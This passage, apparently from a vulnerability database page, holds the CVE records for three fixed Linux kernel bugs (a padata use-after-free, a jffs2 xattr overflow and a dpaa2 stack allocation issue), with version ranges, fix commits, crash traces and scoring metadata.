                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-27T18:02:27.953Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T19:36:30.604Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00028.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:30.794Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "kernel/padata.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f78170bee51469734b1a306a74fc5f777bb22ba6",
              "status": "affected",
              "version": "b128a30409356df65f1a51cff3eb986cac8cfedc",
              "versionType": "git"
            },
            {
              "lessThan": "f3e0b9f790f8e8065d59e67b565a83154d9f3079",
              "status": "affected",
              "version": "b128a30409356df65f1a51cff3eb986cac8cfedc",
              "versionType": "git"
            },
            {
              "lessThan": "0ae2f332cfd2d74cf3ce344ec9938cf3e29c3ccd",
              "status": "affected",
              "version": "b128a30409356df65f1a51cff3eb986cac8cfedc",
              "versionType": "git"
            },
            {
              "lessThan": "bbccae982e9fa1d7abcb23a5ec81cb0ec883f7de",
              "status": "affected",
              "version": "b128a30409356df65f1a51cff3eb986cac8cfedc",
              "versionType": "git"
            },
            {
              "lessThan": "573ac9c70bf7885dc85d82fa44550581bfc3b738",
              "status": "affected",
              "version": "b128a30409356df65f1a51cff3eb986cac8cfedc",
              "versionType": "git"
            },
            {
              "lessThan": "80231f069240d52e98b6a317456c67b2eafd0781",
              "status": "affected",
              "version": "b128a30409356df65f1a51cff3eb986cac8cfedc",
              "versionType": "git"
            },
            {
              "lessThan": "e01780ea4661172734118d2a5f41bc9720765668",
              "status": "affected",
              "version": "b128a30409356df65f1a51cff3eb986cac8cfedc",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "kernel/padata.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.4"
            },
            {
              "lessThan": "5.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.129",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.76",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.13.*",
              "status": "unaffected",
              "version": "6.13.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.14",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.129",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.76",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.13",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13.2",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.14",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npadata: fix UAF in padata_reorder\n\nA bug was found when run ltp test:\n\nBUG: KASAN: slab-use-after-free in padata_find_next+0x29/0x1a0\nRead of size 4 at addr ffff88bbfe003524 by task kworker/u113:2/3039206\n\nCPU: 0 PID: 3039206 Comm: kworker/u113:2 Kdump: loaded Not tainted 6.6.0+\nWorkqueue: pdecrypt_parallel padata_parallel_worker\nCall Trace:\n\u003cTASK\u003e\ndump_stack_lvl+0x32/0x50\nprint_address_description.constprop.0+0x6b/0x3d0\nprint_report+0xdd/0x2c0\nkasan_report+0xa5/0xd0\npadata_find_next+0x29/0x1a0\npadata_reorder+0x131/0x220\npadata_parallel_worker+0x3d/0xc0\nprocess_one_work+0x2ec/0x5a0\n\nIf \u0027mdelay(10)\u0027 is added before calling \u0027padata_find_next\u0027 in the\n\u0027padata_reorder\u0027 function, this issue could be reproduced easily with\nltp test (pcrypt_aead01).\n\nThis can be explained as bellow:\n\npcrypt_aead_encrypt\n...\npadata_do_parallel\nrefcount_inc(\u0026pd-\u003erefcnt); // add refcnt\n...\npadata_do_serial\npadata_reorder // pd\nwhile (1) {\npadata_find_next(pd, true); // using pd\nqueue_work_on\n...\npadata_serial_worker\t\t\t\tcrypto_del_alg\npadata_put_pd_cnt // sub refcnt\n\t\t\t\t\t\tpadata_free_shell\n\t\t\t\t\t\tpadata_put_pd(ps-\u003epd);\n\t\t\t\t\t\t// pd is freed\n// loop again, but pd is freed\n// call padata_find_next, UAF\n}\n\nIn the padata_reorder function, when it loops in \u0027while\u0027, if the alg is\ndeleted, the refcnt may be decreased to 0 before entering\n\u0027padata_find_next\u0027, which leads to UAF.\n\nAs mentioned in [1], do_serial is supposed to be called with BHs disabled\nand always happen under RCU protection, to address this issue, add\nsynchronize_rcu() in \u0027padata_free_shell\u0027 wait for all _do_serial calls\nto finish.\n\n[1] https://lore.kernel.org/all/20221028160401.cccypv4euxikusiq@parnassus.localdomain/\n[2] https://lore.kernel.org/linux-kernel/jfjz5d7zwbytztackem7ibzalm5lnxldi2eofeiczqmqs2m7o6@fq426cwnjtkm/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:05:15.704Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f78170bee51469734b1a306a74fc5f777bb22ba6"
        },
        {
          "url": "https://git.kernel.org/stable/c/f3e0b9f790f8e8065d59e67b565a83154d9f3079"
        },
        {
          "url": "https://git.kernel.org/stable/c/0ae2f332cfd2d74cf3ce344ec9938cf3e29c3ccd"
        },
        {
          "url": "https://git.kernel.org/stable/c/bbccae982e9fa1d7abcb23a5ec81cb0ec883f7de"
        },
        {
          "url": "https://git.kernel.org/stable/c/573ac9c70bf7885dc85d82fa44550581bfc3b738"
        },
        {
          "url": "https://git.kernel.org/stable/c/80231f069240d52e98b6a317456c67b2eafd0781"
        },
        {
          "url": "https://git.kernel.org/stable/c/e01780ea4661172734118d2a5f41bc9720765668"
        }
      ],
      "title": "padata: fix UAF in padata_reorder",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21727",
    "datePublished": "2025-02-27T02:07:33.501Z",
    "dateReserved": "2024-12-29T08:45:45.754Z",
    "dateUpdated": "2026-05-12T12:03:30.794Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-38599 (GCVE-0-2024-38599)

Vulnerability from cvelistv5 – Published: 2024-06-19 13:45 – Updated: 2026-05-12 11:55

Title

jffs2: prevent xattr node from overflowing the eraseblock

Summary

In the Linux kernel, the following vulnerability has been resolved: jffs2: prevent xattr node from overflowing the eraseblock Add a check to make sure that the requested xattr node size is no larger than the eraseblock minus the cleanmarker. Unlike the usual inode nodes, the xattr nodes aren't split into parts and spread across multiple eraseblocks, which means that a xattr node must not occupy more than one eraseblock. If the requested xattr value is too large, the xattr node can spill onto the next eraseblock, overwriting the nodes and causing errors such as: jffs2: argh. node added in wrong place at 0x0000b050(2) jffs2: nextblock 0x0000a000, expected at 0000b00c jffs2: error: (823) do_verify_xattr_datum: node CRC failed at 0x01e050, read=0xfc892c93, calc=0x000000 jffs2: notice: (823) jffs2_get_inode_nodes: Node header CRC failed at 0x01e00c. {848f,2fc4,0fef511f,59a3d171} jffs2: Node at 0x0000000c with length 0x00001044 would run over the end of the erase block jffs2: Perhaps the file system was created with the wrong erase size? jffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found at 0x00000010: 0x1044 instead This breaks the filesystem and can lead to KASAN crashes such as: BUG: KASAN: slab-out-of-bounds in jffs2_sum_add_kvec+0x125e/0x15d0 Read of size 4 at addr ffff88802c31e914 by task repro/830 CPU: 0 PID: 830 Comm: repro Not tainted 6.9.0-rc3+ #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.3-1-1 04/01/2014 Call Trace: <TASK> dump_stack_lvl+0xc6/0x120 print_report+0xc4/0x620 ? __virt_addr_valid+0x308/0x5b0 kasan_report+0xc1/0xf0 ? jffs2_sum_add_kvec+0x125e/0x15d0 ? jffs2_sum_add_kvec+0x125e/0x15d0 jffs2_sum_add_kvec+0x125e/0x15d0 jffs2_flash_direct_writev+0xa8/0xd0 jffs2_flash_writev+0x9c9/0xef0 ? __x64_sys_setxattr+0xc4/0x160 ? do_syscall_64+0x69/0x140 ? entry_SYSCALL_64_after_hwframe+0x76/0x7e [...] Found by Linux Verification Center (linuxtesting.org) with Syzkaller.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/2904e1d9b64f72d29…
https://git.kernel.org/stable/c/526235dffcac74c78…
https://git.kernel.org/stable/c/f0eea095ce8c959b8…
https://git.kernel.org/stable/c/a1d21bcd78cf4a435…
https://git.kernel.org/stable/c/f06969df2e40ab1dc…
https://git.kernel.org/stable/c/af82d8d2179b7277a…
https://git.kernel.org/stable/c/8d431391320c5c539…
https://git.kernel.org/stable/c/978a12c91b38bf1a2…
https://git.kernel.org/stable/c/c6854e5a267c28300…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < 2904e1d9b64f72d291095e3cbb31634f08788b11 (git) Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < 526235dffcac74c7823ed504dfac4f88d84ba5df (git) Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < f0eea095ce8c959b86e1e57fe36ca4fea5ae54f8 (git) Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < a1d21bcd78cf4a4353e1e835789429c6b76aca8b (git) Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < f06969df2e40ab1dc8f4364a5de967830c74a098 (git) Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < af82d8d2179b7277ad627c39e7e0778f1c86ccdb (git) Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < 8d431391320c5c5398ff966fb3a95e68a7def275 (git) Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < 978a12c91b38bf1a213e567f3c20e2beef215f07 (git) Affected: aa98d7cf59b5b0764d3502662053489585faf2fe , < c6854e5a267c28300ff045480b5a7ee7f6f1d913 (git)
Linux	Linux	Affected: 2.6.18 Unaffected: 0 , < 2.6.18 (semver) Unaffected: 4.19.316 , ≤ 4.19.* (semver) Unaffected: 5.4.278 , ≤ 5.4.* (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.8.12 , ≤ 6.8.* (semver) Unaffected: 6.9.3 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-04T17:21:43.499Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2904e1d9b64f72d291095e3cbb31634f08788b11"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/526235dffcac74c7823ed504dfac4f88d84ba5df"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f0eea095ce8c959b86e1e57fe36ca4fea5ae54f8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a1d21bcd78cf4a4353e1e835789429c6b76aca8b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f06969df2e40ab1dc8f4364a5de967830c74a098"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/af82d8d2179b7277ad627c39e7e0778f1c86ccdb"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8d431391320c5c5398ff966fb3a95e68a7def275"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/978a12c91b38bf1a213e567f3c20e2beef215f07"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c6854e5a267c28300ff045480b5a7ee7f6f1d913"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-38599",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:13:27.704743Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:54.313Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:02.555Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/jffs2/xattr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2904e1d9b64f72d291095e3cbb31634f08788b11",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            },
            {
              "lessThan": "526235dffcac74c7823ed504dfac4f88d84ba5df",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            },
            {
              "lessThan": "f0eea095ce8c959b86e1e57fe36ca4fea5ae54f8",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            },
            {
              "lessThan": "a1d21bcd78cf4a4353e1e835789429c6b76aca8b",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            },
            {
              "lessThan": "f06969df2e40ab1dc8f4364a5de967830c74a098",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            },
            {
              "lessThan": "af82d8d2179b7277ad627c39e7e0778f1c86ccdb",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            },
            {
              "lessThan": "8d431391320c5c5398ff966fb3a95e68a7def275",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            },
            {
              "lessThan": "978a12c91b38bf1a213e567f3c20e2beef215f07",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            },
            {
              "lessThan": "c6854e5a267c28300ff045480b5a7ee7f6f1d913",
              "status": "affected",
              "version": "aa98d7cf59b5b0764d3502662053489585faf2fe",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/jffs2/xattr.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.18"
            },
            {
              "lessThan": "2.6.18",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.316",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.278",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.316",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.278",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.12",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.3",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "2.6.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\njffs2: prevent xattr node from overflowing the eraseblock\n\nAdd a check to make sure that the requested xattr node size is no larger\nthan the eraseblock minus the cleanmarker.\n\nUnlike the usual inode nodes, the xattr nodes aren\u0027t split into parts\nand spread across multiple eraseblocks, which means that a xattr node\nmust not occupy more than one eraseblock. If the requested xattr value is\ntoo large, the xattr node can spill onto the next eraseblock, overwriting\nthe nodes and causing errors such as:\n\njffs2: argh. node added in wrong place at 0x0000b050(2)\njffs2: nextblock 0x0000a000, expected at 0000b00c\njffs2: error: (823) do_verify_xattr_datum: node CRC failed at 0x01e050,\nread=0xfc892c93, calc=0x000000\njffs2: notice: (823) jffs2_get_inode_nodes: Node header CRC failed\nat 0x01e00c. {848f,2fc4,0fef511f,59a3d171}\njffs2: Node at 0x0000000c with length 0x00001044 would run over the\nend of the erase block\njffs2: Perhaps the file system was created with the wrong erase size?\njffs2: jffs2_scan_eraseblock(): Magic bitmask 0x1985 not found\nat 0x00000010: 0x1044 instead\n\nThis breaks the filesystem and can lead to KASAN crashes such as:\n\nBUG: KASAN: slab-out-of-bounds in jffs2_sum_add_kvec+0x125e/0x15d0\nRead of size 4 at addr ffff88802c31e914 by task repro/830\nCPU: 0 PID: 830 Comm: repro Not tainted 6.9.0-rc3+ #1\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996),\nBIOS Arch Linux 1.16.3-1-1 04/01/2014\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0xc6/0x120\n print_report+0xc4/0x620\n ? __virt_addr_valid+0x308/0x5b0\n kasan_report+0xc1/0xf0\n ? jffs2_sum_add_kvec+0x125e/0x15d0\n ? jffs2_sum_add_kvec+0x125e/0x15d0\n jffs2_sum_add_kvec+0x125e/0x15d0\n jffs2_flash_direct_writev+0xa8/0xd0\n jffs2_flash_writev+0x9c9/0xef0\n ? __x64_sys_setxattr+0xc4/0x160\n ? do_syscall_64+0x69/0x140\n ? entry_SYSCALL_64_after_hwframe+0x76/0x7e\n [...]\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:19:50.529Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2904e1d9b64f72d291095e3cbb31634f08788b11"
        },
        {
          "url": "https://git.kernel.org/stable/c/526235dffcac74c7823ed504dfac4f88d84ba5df"
        },
        {
          "url": "https://git.kernel.org/stable/c/f0eea095ce8c959b86e1e57fe36ca4fea5ae54f8"
        },
        {
          "url": "https://git.kernel.org/stable/c/a1d21bcd78cf4a4353e1e835789429c6b76aca8b"
        },
        {
          "url": "https://git.kernel.org/stable/c/f06969df2e40ab1dc8f4364a5de967830c74a098"
        },
        {
          "url": "https://git.kernel.org/stable/c/af82d8d2179b7277ad627c39e7e0778f1c86ccdb"
        },
        {
          "url": "https://git.kernel.org/stable/c/8d431391320c5c5398ff966fb3a95e68a7def275"
        },
        {
          "url": "https://git.kernel.org/stable/c/978a12c91b38bf1a213e567f3c20e2beef215f07"
        },
        {
          "url": "https://git.kernel.org/stable/c/c6854e5a267c28300ff045480b5a7ee7f6f1d913"
        }
      ],
      "title": "jffs2: prevent xattr node from overflowing the eraseblock",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-38599",
    "datePublished": "2024-06-19T13:45:47.968Z",
    "dateReserved": "2024-06-18T19:36:34.932Z",
    "dateUpdated": "2026-05-12T11:55:02.555Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-42093 (GCVE-0-2024-42093)

Vulnerability from cvelistv5 – Published: 2024-07-29 17:39 – Updated: 2026-05-12 11:56

Title

net/dpaa2: Avoid explicit cpumask var allocation on stack

Summary

In the Linux kernel, the following vulnerability has been resolved: net/dpaa2: Avoid explicit cpumask var allocation on stack For CONFIG_CPUMASK_OFFSTACK=y kernel, explicit allocation of cpumask variable on stack is not recommended since it can cause potential stack overflow. Instead, kernel code should always use *cpumask_var API(s) to allocate cpumask var in config-neutral way, leaving allocation strategy to CONFIG_CPUMASK_OFFSTACK. Use *cpumask_var API(s) to address it.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/b2262b3be27cee334…
https://git.kernel.org/stable/c/763896ab62a672d72…
https://git.kernel.org/stable/c/a55afc0f5f20ba309…
https://git.kernel.org/stable/c/48147337d7efdea6a…
https://git.kernel.org/stable/c/69f49527aea12c23b…
https://git.kernel.org/stable/c/5e4f25091e6d06e99…
https://git.kernel.org/stable/c/d33fe1714a44ff540…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 93ddf0b211a0a0367d01c9587169c16ed77b4b98 , < b2262b3be27cee334a2fa175ae3afb53f38fb0b1 (git) Affected: 93ddf0b211a0a0367d01c9587169c16ed77b4b98 , < 763896ab62a672d728f5eb10ac90d98c607a8509 (git) Affected: 93ddf0b211a0a0367d01c9587169c16ed77b4b98 , < a55afc0f5f20ba30970aaf7271929dc00eee5e7d (git) Affected: 93ddf0b211a0a0367d01c9587169c16ed77b4b98 , < 48147337d7efdea6ad6e49f5b8eb894b95868ef0 (git) Affected: 93ddf0b211a0a0367d01c9587169c16ed77b4b98 , < 69f49527aea12c23b78fb3d0a421950bf44fb4e2 (git) Affected: 93ddf0b211a0a0367d01c9587169c16ed77b4b98 , < 5e4f25091e6d06e99a23f724c839a58a8776a527 (git) Affected: 93ddf0b211a0a0367d01c9587169c16ed77b4b98 , < d33fe1714a44ff540629b149d8fab4ac6967585c (git)
Linux	Linux	Affected: 4.16 Unaffected: 0 , < 4.16 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.97 , ≤ 6.1.* (semver) Unaffected: 6.6.37 , ≤ 6.6.* (semver) Unaffected: 6.9.8 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:01:26.130Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b2262b3be27cee334a2fa175ae3afb53f38fb0b1"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/763896ab62a672d728f5eb10ac90d98c607a8509"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a55afc0f5f20ba30970aaf7271929dc00eee5e7d"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/48147337d7efdea6ad6e49f5b8eb894b95868ef0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/69f49527aea12c23b78fb3d0a421950bf44fb4e2"
          },
          {
            "tags": [
              "x_transferred"
            ],
